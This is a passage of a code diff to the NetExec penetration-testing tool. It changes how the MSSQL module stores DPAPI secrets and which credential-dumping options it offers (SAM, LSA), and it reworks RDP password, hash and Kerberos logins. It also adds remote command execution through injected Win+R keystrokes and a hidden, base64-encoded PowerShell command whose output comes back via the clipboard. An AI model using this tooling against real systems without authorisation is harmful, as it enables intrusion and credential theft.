@staticmethod
|
||||
def db_schema(db_conn):
|
||||
Base.metadata.create_all(db_conn)
|
||||
@@ -113,8 +84,6 @@ class database(BaseDB):
|
||||
self.UsersTable = self.reflect_table(self.User)
|
||||
self.AdminRelationsTable = self.reflect_table(self.AdminRelation)
|
||||
self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation)
|
||||
self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret)
|
||||
self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey)
|
||||
|
||||
def add_host(self, ip, hostname, domain, os, mssqlversion, instances, encryptionReq):
|
||||
"""
|
||||
@@ -310,20 +279,6 @@ class database(BaseDB):
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
|
||||
"""Return credentials for a list of users from the database."""
|
||||
if cred_type:
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
|
||||
)
|
||||
else:
|
||||
q = select(self.UsersTable).filter(
|
||||
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
|
||||
)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credential(self, cred_type, domain, username, password):
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.domain == domain,
|
||||
@@ -398,113 +353,3 @@ class database(BaseDB):
|
||||
elif host_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
self.db_execute(q)
|
||||
|
||||
def add_domain_backupkey(self, domain: str, pvk: bytes):
|
||||
"""
|
||||
Add domain backupkey
|
||||
:domain is the domain fqdn
|
||||
:pvk is the domain backupkey
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
if not len(results):
|
||||
pvk_encoded = base64.b64encode(pvk)
|
||||
backup_key = {"domain": domain, "pvk": pvk_encoded}
|
||||
try:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id)
|
||||
|
||||
self.db_execute(q, [backup_key]) # .scalar()
|
||||
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
|
||||
|
||||
def get_domain_backupkey(self, domain: str | None = None):
|
||||
"""
|
||||
Get domain backupkey
|
||||
:domain is the domain fqdn
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable)
|
||||
if domain is not None:
|
||||
q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
|
||||
|
||||
if len(results) > 0:
|
||||
results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results]
|
||||
return results
|
||||
|
||||
def is_dpapi_secret_valid(self, dpapi_secret_id):
|
||||
"""
|
||||
Check if this DPAPI secret ID is valid.
|
||||
:dpapi_secret_id is a primary id
|
||||
"""
|
||||
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
|
||||
results = self.db_execute(q).first()
|
||||
valid = results is not None
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
|
||||
return valid
|
||||
|
||||
def add_dpapi_secrets(
|
||||
self,
|
||||
host: str,
|
||||
dpapi_type: str,
|
||||
windows_user: str,
|
||||
username: str,
|
||||
password: str,
|
||||
url: str = "",
|
||||
):
|
||||
"""Add dpapi secrets to nxcdb"""
|
||||
secret = {
|
||||
"host": host,
|
||||
"dpapi_type": dpapi_type,
|
||||
"windows_user": windows_user,
|
||||
"username": username,
|
||||
"password": password,
|
||||
"url": url,
|
||||
}
|
||||
q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id)
|
||||
|
||||
self.db_execute(q, [secret]) # .scalar()
|
||||
|
||||
nxc_logger.debug(
|
||||
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
|
||||
|
||||
def get_dpapi_secrets(
|
||||
self,
|
||||
filter_term=None,
|
||||
host: str | None = None,
|
||||
dpapi_type: str | None = None,
|
||||
windows_user: str | None = None,
|
||||
username: str | None = None,
|
||||
url: str | None = None,
|
||||
):
|
||||
"""Get dpapi secrets from nxcdb"""
|
||||
q = select(self.DpapiSecretsTable)
|
||||
|
||||
if self.is_dpapi_secret_valid(filter_term):
|
||||
q = q.filter(self.DpapiSecretsTable.c.id == filter_term)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif host:
|
||||
q = q.filter(self.DpapiSecretsTable.c.host == host)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif dpapi_type:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type))
|
||||
elif windows_user:
|
||||
like_term = func.lower(f"%{windows_user}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif username:
|
||||
like_term = func.lower(f"%{username}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif url:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
|
||||
return results
|
||||
@@ -16,10 +16,6 @@ def proto_args(parser, parents):
|
||||
cgroup = mssql_parser.add_argument_group("Credential Gathering")
|
||||
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
|
||||
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
|
||||
cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
|
||||
cgroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
|
||||
cgroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
|
||||
cgroup.add_argument("--db-hash", action="store_true", help="dump local database hashes")
|
||||
|
||||
cgroup = mssql_parser.add_argument_group("Command Execution")
|
||||
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
||||
@@ -40,5 +36,4 @@ def proto_args(parser, parents):
|
||||
|
||||
mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration")
|
||||
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
|
||||
mapping_enum_group.add_argument("--list-backups", action="store_true", help="dump database backups path")
|
||||
return parser
|
||||
+215
-347
@@ -1,25 +1,19 @@
|
||||
import asyncio
|
||||
import base64
|
||||
import copy
|
||||
import contextlib
|
||||
from datetime import datetime
|
||||
from os import getenv
|
||||
from uuid import uuid4
|
||||
from anyio import Path
|
||||
from termcolor import colored
|
||||
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.smb3 import WIN_VERSIONS
|
||||
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.misc import sanitize_dns
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.config import host_info_colors, process_secret
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
from aardwolf.connection import RDPConnection, AUTHZ_ACCESS_DENIED
|
||||
from aardwolf.connection import RDPConnection
|
||||
from aardwolf.commons.queuedata.constants import VIDEO_FORMAT
|
||||
from aardwolf.commons.queuedata.keyboard import RDP_KEYBOARD_UNICODE
|
||||
from aardwolf.commons.iosettings import RDPIOSettings
|
||||
@@ -40,6 +34,7 @@ class rdp(connection):
|
||||
self.domain = None
|
||||
self.server_os = None
|
||||
self.iosettings = RDPIOSettings()
|
||||
self.iosettings.video_out_format = VIDEO_FORMAT.RAW
|
||||
self.iosettings.clipboard_use_pyperclip = False
|
||||
self.protoflags_nla = [
|
||||
SUPP_PROTOCOLS.SSL,
|
||||
@@ -59,8 +54,8 @@ class rdp(connection):
|
||||
# servers dont support 8 any more :/
|
||||
self.iosettings.video_bpp_min = 15
|
||||
self.iosettings.video_bpp_max = 32
|
||||
# screenshots read the desktop buffer, so don't PNG-encode every update put on ext_out_queue
|
||||
self.iosettings.video_out_format = VIDEO_FORMAT.PIL
|
||||
# PIL produces incorrect picture for some reason?! TODO: check bug
|
||||
self.iosettings.video_out_format = VIDEO_FORMAT.PNG #
|
||||
self.domain = None
|
||||
self.server_os = None
|
||||
self.url = None
|
||||
@@ -86,9 +81,7 @@ class rdp(connection):
|
||||
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED",
|
||||
}
|
||||
|
||||
# one event loop per target: aardwolf's reader tasks die with their loop, so a session can only be reused on the loop that opened it
|
||||
with asyncio.Runner() as self.runner:
|
||||
connection.__init__(self, args, db, host)
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
def proto_logger(self):
|
||||
import platform
|
||||
@@ -121,30 +114,21 @@ class rdp(connection):
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
|
||||
|
||||
def _create_rdp_connection(self, credentials, supported_protocols=None):
|
||||
iosettings = self.iosettings.clone_for_connection()
|
||||
# Explicit protocols are used by discovery and screenshot fallbacks.
|
||||
# Authenticated connections leave this unset so aardwolf selects the
|
||||
# X224 flags appropriate for the credential type.
|
||||
iosettings.supported_protocols = supported_protocols
|
||||
return RDPConnection(
|
||||
iosettings=iosettings,
|
||||
target=copy.deepcopy(self.target),
|
||||
credentials=copy.deepcopy(credentials),
|
||||
)
|
||||
|
||||
def create_conn_obj(self):
|
||||
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout, unsafe_ssl=True) # old servers only offer ciphers OpenSSL rejects at its default security level
|
||||
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout)
|
||||
self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS)
|
||||
|
||||
self.runner.run(self.check_nla())
|
||||
asyncio.run(self.check_nla())
|
||||
|
||||
for proto in reversed(self.protoflags):
|
||||
try:
|
||||
self.conn = self._create_rdp_connection(
|
||||
self.auth, supported_protocols=proto
|
||||
self.iosettings.supported_protocols = proto
|
||||
self.conn = RDPConnection(
|
||||
iosettings=self.iosettings,
|
||||
target=self.target,
|
||||
credentials=self.auth,
|
||||
)
|
||||
self.runner.run(self.connect_rdp_with_cleanup())
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
except OSError as e:
|
||||
if "Errno 104" not in str(e):
|
||||
return False
|
||||
@@ -157,10 +141,9 @@ class rdp(connection):
|
||||
except Exception:
|
||||
pass
|
||||
else:
|
||||
self.hostname = sanitize_dns(info_domain.get("computername"), self.logger)
|
||||
self.domain = sanitize_dns(info_domain.get("dnsdomainname"), self.logger)
|
||||
self.remoteName = sanitize_dns(info_domain.get("dnscomputername"), self.logger) if self.kerberos else self.host
|
||||
self.server_os = self.guess_os(info_domain)
|
||||
self.domain = info_domain["dnsdomainname"]
|
||||
self.hostname = info_domain["computername"]
|
||||
self.server_os = info_domain["os_guess"] + " Build " + str(info_domain["os_build"])
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
break
|
||||
|
||||
@@ -169,6 +152,8 @@ class rdp(connection):
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
|
||||
|
||||
if not self.kdcHost and self.domain:
|
||||
result = self.resolver(self.domain)
|
||||
self.kdcHost = result["host"] if result else None
|
||||
@@ -181,33 +166,22 @@ class rdp(connection):
|
||||
domain=self.domain,
|
||||
dc_ip=self.domain,
|
||||
timeout=self.args.rdp_timeout,
|
||||
unsafe_ssl=True,
|
||||
)
|
||||
|
||||
# Reset so aardwolf negotiates on its own (restricted admin + HYBRID_EX), the loop above pinned it
|
||||
self.iosettings.supported_protocols = None
|
||||
|
||||
return True
|
||||
|
||||
def guess_os(self, info_domain):
|
||||
build = info_domain.get("os_build")
|
||||
if build in WIN_VERSIONS:
|
||||
return f"{WIN_VERSIONS[build]} Build {build}"
|
||||
if info_domain.get("os_major_version") == "WINDOWS_MAJOR_VERSION_10": # asyauth labels every 10.0 kernel "Windows 10 or Windows Server 2016", only trust it for older kernels
|
||||
return f"Windows 10.0 Build {build}"
|
||||
return f"{info_domain.get('os_guess') or 'Unknown'} Build {build or 'Unknown'}"
|
||||
|
||||
async def check_nla(self):
|
||||
self.logger.debug(f"Checking NLA for {self.host}")
|
||||
probe_connection = None
|
||||
try:
|
||||
self.conn = self._create_rdp_connection(
|
||||
None, supported_protocols=SUPP_PROTOCOLS.SSL
|
||||
self.iosettings.supported_protocols = SUPP_PROTOCOLS.SSL
|
||||
self.conn = RDPConnection(
|
||||
iosettings=self.iosettings,
|
||||
target=self.target,
|
||||
credentials=None,
|
||||
)
|
||||
packetizer = TPKTPacketizer()
|
||||
client = UniClient(self.target, packetizer)
|
||||
probe_connection = await asyncio.wait_for(client.connect(), timeout=self.args.rdp_timeout)
|
||||
self.conn._connection = probe_connection
|
||||
self.conn._connection = await asyncio.wait_for(client.connect(), timeout=self.args.rdp_timeout)
|
||||
self.conn._x224net = X224Network(self.conn._connection)
|
||||
_, err = await asyncio.wait_for(self.conn._x224net.client_negotiate(0, SUPP_PROTOCOLS.SSL), timeout=self.args.rdp_timeout)
|
||||
# If no error SSL supported if SSL_NOT_ALLOWED_BY_SERVER error, plain RDP supported
|
||||
@@ -216,27 +190,25 @@ class rdp(connection):
|
||||
return
|
||||
except Exception:
|
||||
pass
|
||||
finally:
|
||||
# this probe socket is not owned by aardwolf, terminate() would not close it
|
||||
if probe_connection is not None:
|
||||
await probe_connection.close()
|
||||
|
||||
async def connect_rdp(self):
|
||||
"""Connect to the RDP server. Does NOT clean up on exit."""
|
||||
"""Connect to the RDP server. Does NOT clean up on exit.
|
||||
|
||||
Use this when the caller needs the connection alive after connecting
|
||||
(screen, nla_screen, execute_shell). For sync callers that only need to
|
||||
know whether authentication succeeded and want guaranteed cleanup, use
|
||||
connect_rdp_with_cleanup() instead.
|
||||
"""
|
||||
_, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.rdp_timeout)
|
||||
if err is not None:
|
||||
raise err
|
||||
self.logger.debug(f"RDP negotiated protocol: {self.conn.x224_protocol}, authz_result: {self.conn.authz_result}")
|
||||
|
||||
async def terminate_conn(self):
|
||||
"""Terminate the RDP connection with a timeout so cleanup doesn't hang (https://github.com/skelsec/aardwolf/issues/43)."""
|
||||
"""Terminate the RDP connection with a timeout so cleanup doesn't hang."""
|
||||
if self.conn is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
await asyncio.wait_for(self.conn.terminate(), timeout=self.args.rdp_timeout)
|
||||
|
||||
def disconnect(self):
|
||||
self.runner.run(self.terminate_conn())
|
||||
|
||||
async def connect_rdp_with_cleanup(self):
|
||||
"""Connect to the RDP server and always terminate the connection on exit"""
|
||||
try:
|
||||
@@ -244,31 +216,7 @@ class rdp(connection):
|
||||
finally:
|
||||
await self.terminate_conn()
|
||||
|
||||
async def login_and_confirm(self):
|
||||
"""Log on and return whether a real session opened (Save Session Info PDU). The session stays open for -x/-X/--screenshot until disconnect().
|
||||
|
||||
That PDU never comes when access is authorized but the logon is refused (restricted admin).
|
||||
"""
|
||||
await self.terminate_conn() # a session kept by an earlier success (--continue-on-success) would take a session slot this logon needs
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
await self.connect_rdp()
|
||||
try:
|
||||
await asyncio.wait_for(self.conn.logon_info_received.wait(), timeout=self.args.rdp_timeout)
|
||||
return True
|
||||
except TimeoutError:
|
||||
self.logger.debug("No Save Session Info PDU: RDP access is granted but the interactive logon was refused (restricted admin)")
|
||||
return False
|
||||
|
||||
def rdp_access_denied(self):
|
||||
"""Whether the Early User Authorization Result PDU says the account has no RDP access right at all.
|
||||
|
||||
Distinct from a valid right whose logon is later refused (restricted admin), which yields no such PDU.
|
||||
"""
|
||||
self.logger.debug(f"authz_result from Early User Authorization Result PDU: {self.conn.authz_result}")
|
||||
return self.conn.authz_result == AUTHZ_ACCESS_DENIED
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
self.username = username
|
||||
try:
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
@@ -284,23 +232,23 @@ class rdp(connection):
|
||||
if nthash:
|
||||
self.nthash = nthash
|
||||
|
||||
kerb_pass = next(s for s in [nthash, password, aesKey] if s) if not all(s == "" for s in [nthash, password, aesKey]) else ""
|
||||
|
||||
self.hostname + "." + self.domain
|
||||
password = password if password else nthash
|
||||
|
||||
if useCache:
|
||||
stype = asyauthSecret.CCACHE
|
||||
password = getenv("KRB5CCNAME")
|
||||
ccache = CCache.loadFile(password)
|
||||
ticketCreds = ccache.credentials[0]
|
||||
username = ticketCreds["client"].prettyPrint().decode().split("@")[0]
|
||||
elif aesKey:
|
||||
stype = asyauthSecret.AES
|
||||
password = aesKey
|
||||
if not password:
|
||||
password = password if password else getenv("KRB5CCNAME")
|
||||
if "/" in password:
|
||||
self.logger.fail("Kerberos ticket need to be on the local directory")
|
||||
return False
|
||||
ccache = CCache.loadFile(getenv("KRB5CCNAME"))
|
||||
ticketCreds = ccache.credentials[0]
|
||||
username = ticketCreds["client"].prettyPrint().decode().split("@")[0]
|
||||
else:
|
||||
stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
|
||||
password = password if password else nthash
|
||||
|
||||
kerb_pass = password
|
||||
|
||||
kerberos_target = UniTarget(
|
||||
self.kdcHost,
|
||||
@@ -320,8 +268,10 @@ class rdp(connection):
|
||||
domain=domain,
|
||||
stype=stype,
|
||||
)
|
||||
self.admin_privs = self.runner.run(self.login_and_confirm())
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(
|
||||
"{}\\{}{} {}".format(
|
||||
domain,
|
||||
@@ -349,11 +299,8 @@ class rdp(connection):
|
||||
(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"),
|
||||
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"),
|
||||
)
|
||||
elif self.rdp_access_denied():
|
||||
self.logger.success(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
return True
|
||||
elif "Authentication failed!" in str(e):
|
||||
self.logger.success(f"{domain}\\{username}:{(process_secret(password))} {self.mark_pwned()}")
|
||||
elif "No such file" in str(e):
|
||||
self.logger.fail(e)
|
||||
else:
|
||||
@@ -370,7 +317,6 @@ class rdp(connection):
|
||||
return False
|
||||
|
||||
def plaintext_login(self, domain, username, password):
|
||||
self.username = username
|
||||
try:
|
||||
self.auth = NTLMCredential(
|
||||
secret=password,
|
||||
@@ -378,8 +324,10 @@ class rdp(connection):
|
||||
domain=domain,
|
||||
stype=asyauthSecret.PASS,
|
||||
)
|
||||
self.admin_privs = self.runner.run(self.login_and_confirm())
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
@@ -387,11 +335,8 @@ class rdp(connection):
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
return True
|
||||
except Exception as e:
|
||||
if self.rdp_access_denied():
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(password)}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
return True
|
||||
if "Authentication failed!" in str(e):
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
|
||||
else:
|
||||
reason = None
|
||||
for word in self.rdp_error_status:
|
||||
@@ -406,7 +351,6 @@ class rdp(connection):
|
||||
return False
|
||||
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
self.username = username
|
||||
try:
|
||||
self.auth = NTLMCredential(
|
||||
secret=ntlm_hash,
|
||||
@@ -414,8 +358,10 @@ class rdp(connection):
|
||||
domain=domain,
|
||||
stype=asyauthSecret.NT,
|
||||
)
|
||||
self.admin_privs = self.runner.run(self.login_and_confirm())
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
@@ -423,11 +369,8 @@ class rdp(connection):
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
return True
|
||||
except Exception as e:
|
||||
if self.rdp_access_denied():
|
||||
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
return True
|
||||
if "Authentication failed!" in str(e):
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
|
||||
else:
|
||||
reason = None
|
||||
for word in self.rdp_error_status:
|
||||
@@ -445,11 +388,10 @@ class rdp(connection):
|
||||
async def _send_keystrokes(self, text, delay=0.02):
|
||||
"""Helper method to send keystrokes to the RDP session"""
|
||||
for char in text:
|
||||
for is_pressed in (True, False):
|
||||
key_event = RDP_KEYBOARD_UNICODE()
|
||||
key_event.char = char
|
||||
key_event.is_pressed = is_pressed
|
||||
await self.conn.ext_in_queue.put(key_event)
|
||||
key_event = RDP_KEYBOARD_UNICODE()
|
||||
key_event.char = char
|
||||
key_event.is_pressed = True
|
||||
await self.conn.ext_in_queue.put(key_event)
|
||||
await asyncio.sleep(delay)
|
||||
|
||||
async def _send_enter(self):
|
||||
@@ -458,223 +400,144 @@ class rdp(connection):
|
||||
await asyncio.sleep(0.05)
|
||||
await self.conn.send_key_virtualkey("VK_RETURN", False, False)
|
||||
|
||||
async def _send_shortcut(self, modifier, key):
|
||||
layout = KeyboardLayoutManager().get_layout_by_shortname("enus")
|
||||
modifier_scancode = layout.vk_to_scancode(modifier)
|
||||
key_scancode = layout.char_to_scancode(key)[0]
|
||||
|
||||
await self.conn.send_key_scancode(modifier_scancode, True, False)
|
||||
await asyncio.sleep(0.05)
|
||||
await self.conn.send_key_scancode(key_scancode, True, False)
|
||||
await asyncio.sleep(0.05)
|
||||
await self.conn.send_key_scancode(key_scancode, False, False)
|
||||
await asyncio.sleep(0.05)
|
||||
await self.conn.send_key_scancode(modifier_scancode, False, False)
|
||||
|
||||
async def _send_win_r(self):
|
||||
"""Helper method to send Windows+R key combination to open Run dialog"""
|
||||
self.logger.debug("Sending Win+R using scancode method")
|
||||
for _ in range(2):
|
||||
_, err = await self.conn.send_focus_in()
|
||||
if err is not None:
|
||||
raise err
|
||||
await self._send_shortcut("VK_LWIN", "r")
|
||||
await asyncio.sleep(0.5)
|
||||
|
||||
@staticmethod
|
||||
def _build_execution_command(payload, shell_type, marker, get_output):
|
||||
if not get_output:
|
||||
if shell_type == "cmd":
|
||||
return f"cmd.exe /d /s /c {payload}"
|
||||
if shell_type == "powershell":
|
||||
return (
|
||||
"powershell.exe -NoLogo -NoProfile -NonInteractive "
|
||||
f"-WindowStyle Hidden -Command {payload}"
|
||||
)
|
||||
raise ValueError(f"Unsupported shell type: {shell_type}")
|
||||
|
||||
payload_encoded = base64.b64encode(payload.encode("utf-16-le")).decode("ascii")
|
||||
decode_payload = f"$command = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('{payload_encoded}'))"
|
||||
|
||||
if shell_type == "cmd":
|
||||
invoke_command = "$output = & $env:ComSpec /d /s /c $command 2>&1"
|
||||
elif shell_type == "powershell":
|
||||
invoke_command = "$output = & ([ScriptBlock]::Create($command)) 2>&1"
|
||||
else:
|
||||
raise ValueError(f"Unsupported shell type: {shell_type}")
|
||||
|
||||
start_marker = f"__NXC_RDP_START_{marker}__"
|
||||
end_marker = f"__NXC_RDP_END_{marker}__"
|
||||
script = f"""
|
||||
$ErrorActionPreference = 'Continue'
|
||||
{decode_payload}
|
||||
try {{
|
||||
{invoke_command}
|
||||
$succeeded = $?
|
||||
$nativeExitCode = $LASTEXITCODE
|
||||
}} catch {{
|
||||
$output = $_
|
||||
$succeeded = $false
|
||||
$nativeExitCode = $null
|
||||
}}
|
||||
$exitCode = if ($null -ne $nativeExitCode) {{ [int]$nativeExitCode }} elseif (-not $succeeded) {{ 1 }} else {{ 0 }}
|
||||
$outputText = ($output | Out-String -Width 4096).TrimEnd()
|
||||
$result = @('{start_marker}', [string]$exitCode, $outputText, '{end_marker}') -join [Environment]::NewLine
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
[System.Windows.Forms.Clipboard]::SetText($result)
|
||||
"""
|
||||
|
||||
encoded_script = base64.b64encode(script.encode("utf-16-le")).decode("ascii")
|
||||
return f"powershell.exe -NoLogo -NoProfile -NonInteractive -STA -WindowStyle Hidden -EncodedCommand {encoded_script}"
|
||||
|
||||
@staticmethod
|
||||
def _parse_execution_result(clipboard_text, marker):
|
||||
start_marker = f"__NXC_RDP_START_{marker}__"
|
||||
end_marker = f"__NXC_RDP_END_{marker}__"
|
||||
normalized = clipboard_text.replace("\r\n", "\n").rstrip("\x00")
|
||||
|
||||
start_index = normalized.find(start_marker)
|
||||
end_index = normalized.find(end_marker, start_index + len(start_marker))
|
||||
if start_index == -1 or end_index == -1:
|
||||
return None
|
||||
|
||||
body = normalized[start_index + len(start_marker):end_index].lstrip("\n")
|
||||
exit_code_text, separator, output = body.partition("\n")
|
||||
if not separator:
|
||||
return None
|
||||
|
||||
try:
|
||||
exit_code = int(exit_code_text.strip())
|
||||
except ValueError:
|
||||
return None
|
||||
return exit_code, output.rstrip("\n")
|
||||
self.logger.debug("Sending Win+R using scancode method")
|
||||
|
||||
async def _wait_for_event(self, event_names, max_wait):
|
||||
loop = asyncio.get_running_loop()
|
||||
deadline = loop.time() + max_wait
|
||||
layout = KeyboardLayoutManager().get_layout_by_shortname("enus")
|
||||
|
||||
while True:
|
||||
if self.conn.disconnected_evt.is_set():
|
||||
raise ConnectionError("RDP connection was terminated")
|
||||
win_scancode = layout.vk_to_scancode("VK_LWIN")
|
||||
await self.conn.send_key_scancode(win_scancode, True, False)
|
||||
await asyncio.sleep(0.1)
|
||||
|
||||
remaining = deadline - loop.time()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError
|
||||
r_scancode = layout.char_to_scancode("r")[0]
|
||||
await self.conn.send_key_scancode(r_scancode, True, False)
|
||||
await asyncio.sleep(0.1)
|
||||
|
||||
data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=remaining)
|
||||
if data is None:
|
||||
raise ConnectionError("RDP connection was terminated")
|
||||
await self.conn.send_key_scancode(r_scancode, False, False)
|
||||
await asyncio.sleep(0.1)
|
||||
|
||||
event_name = getattr(getattr(data, "type", None), "name", None)
|
||||
if event_name in event_names:
|
||||
return data
|
||||
await self.conn.send_key_scancode(win_scancode, False, False)
|
||||
|
||||
async def _wait_for_desktop(self):
|
||||
loop = asyncio.get_running_loop()
|
||||
started_at = loop.time()
|
||||
await asyncio.sleep(0.5)
|
||||
|
||||
if not self.conn.desktop_buffer_has_data:
|
||||
try:
|
||||
await self._wait_for_event({"VIDEO"}, self.args.cmd_delay)
|
||||
except TimeoutError:
|
||||
self.logger.debug("No desktop update received before command execution; continuing")
|
||||
|
||||
remaining_delay = self.args.cmd_delay - (loop.time() - started_at)
|
||||
if remaining_delay > 0:
|
||||
await asyncio.sleep(remaining_delay)
|
||||
|
||||
async def _submit_run_command(self, command):
|
||||
await self._send_win_r()
|
||||
await self.conn.set_current_clipboard_text(command)
|
||||
# server must acknowledge our clipboard data before we trigger the read
|
||||
response = await self._wait_for_event({"CLIPBOARD_FORMAT_LIST_RESPONSE"}, self.args.clipboard_delay)
|
||||
if not response.accepted:
|
||||
raise RuntimeError("Remote session rejected the clipboard command data")
|
||||
# type a one-liner that reads and executes the clipboard we just set
|
||||
# uses .NET WinForms API instead of Get-Clipboard (which requires PS5+)
|
||||
await self._send_keystrokes(
|
||||
